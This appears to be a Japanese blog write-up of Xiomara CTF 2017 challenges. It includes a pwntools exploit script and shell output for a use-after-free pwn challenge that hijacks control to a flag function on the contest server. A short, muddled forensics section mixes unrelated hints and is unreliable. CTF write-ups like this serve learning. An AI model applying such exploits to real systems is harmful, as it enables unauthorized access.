hiww_備忘録

Anime, CTF

Xiomara CTF 2017 Write-up

CTF

Xiomara CTF 2017にHarekazeとして参加しました。得点は1576点で15位/333でした。

[Pwning 50] Use and Throw

Problem

I seem to have access to an old server. Can you get me something out of it?
I mean, I am not expecting much but something'd be really great. Anything goes. 
nc 139.59.61.220 12345
pwn50


ctf% nc 139.59.61.220 12345
[1] Register
[2] Report admin
[3] Save Data to server
[4] Delete user
[5] Exit
Enter your choice:3
Sending ur information to server ..

Investigation

ctf% file pwn50
pwn50: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), 
dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, 
BuildID[sha1]=e6a8871ec4d1215bf32e26a73b3fd7a6611a9710, not stripped 

ctf% checksec pwn50
[*] '/Users/CTF/2017/xiomaractf/pwn50'
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

gdb-peda$ p/x &fetch_flag
$1 = 0x804868b

Exploit

ctf% python solve.py
[+] Opening connection to 139.59.61.220 on port 12345: Done
[*] Switching to interactive mode
Sending ur information to server ...
$ ls -ll    
total 88    
drwxr-xr-x   2 root root  4096 Feb 23 22:15 bin    
drwxr-xr-x   3 root root  4096 Feb 24 01:32 boot    
drwxr-xr-x  17 root root  3880 Feb 23 15:12 dev    
drwxr-xr-x 100 root root  4096 Feb 26 05:55 etc    
drwxr-xr-x  10 root root  4096 Feb 26 05:39 home    
lrwxrwxrwx   1 root root    32 Feb 24 01:32 initrd.img -> boot/initrd.img-4.4.0-64-generic    
lrwxrwxrwx   1 root root    32 Feb  4 17:24 initrd.img.old -> boot/initrd.img-4.4.0-62-generic    
drwxr-xr-x  22 root root  4096 Feb 24 17:26 lib    
drwxr-xr-x   2 root root  4096 Feb 24 18:34 lib32    
drwxr-xr-x   2 root root  4096 Feb  4 17:23 lib64    
drwxr-xr-x   2 root root  4096 Feb 24 18:34 libx32    
drwx------   2 root root 16384 Feb  4 17:33 lost+found    
drwxr-xr-x   2 root root  4096 Feb  4 17:22 media    
drwxr-xr-x   2 root root  4096 Feb  4 17:22 mnt    
drwxr-xr-x   2 root root  4096 Feb  4 17:22 opt    
dr-xr-xr-x 226 root root     0 Feb 23 15:12 proc    
drwx------   6 root root  4096 Feb 26 04:17 root    
drwxr-xr-x  26 root root  1100 Feb 26 05:56 run    
drwxr-xr-x   2 root root  4096 Feb  4 17:25 sbin    
drwxr-xr-x   2 root root  4096 Jan 14 15:06 snap    
drwxr-xr-x   3 root root  4096 Feb 23 15:37 srv    
dr-xr-xr-x  13 root root     0 Feb 25 10:36 sys    
drwx-wx-wt  17 root root  4096 Feb 26 06:47 tmp    
drwxr-xr-x  12 root root  4096 Feb 24 18:34 usr    
drwxr-xr-x  14 root root  4096 Feb 23 15:23 var    
lrwxrwxrwx   1 root root    29 Feb 24 01:32 vmlinuz -> boot/vmlinuz-4.4.0-64-generic    
lrwxrwxrwx   1 root root    29 Feb  4 17:24 vmlinuz.old -> boot/vmlinuz-4.4.0-62-generic    
$ cd home/pwn1
$ ls
flag.txt
pwn1
$ less flag.txt
xiomara{u$3_m3_n0t_wh3n_y0u_ar3_n0t_bu$y_buT_fr33}

FLAG: xiomara{u$3_m3_n0t_wh3n_y0u_ar3_n0t_bu$y_buT_fr33}

[Forensics & Network 100] (not) Guilty Boyfriend

Problem

My girlfriend is out of town and I found her memory card. Time to dig in, suckaaa. 
DD file

Do the Buffer Overflow. After that, get lulz_sec/flag.png LSB and show flag ex:)less flag.txt

(I am modifing experiment exploit code for public. Sorry to late.)

FLAG: xiomara{i_am_lord_of_hacker}

— Code —

from pwn import *
# s = process('./pwn50')
s = remote('139.59.61.220', 12345)

s.recvuntil('choice:')
s.sendline('1')
s.recvuntil('username:')
s.sendline('AAAA')
s.recvuntil('password:')
s.sendline('BBBB')

s.recvuntil('choice:')
s.sendline('4')

s.recvuntil('choice:')
s.sendline('2')
time.sleep(.5)
s.sendline(p32(0x804868b))

s.recvuntil('choice:')
s.sendline('3')

s.interactive()```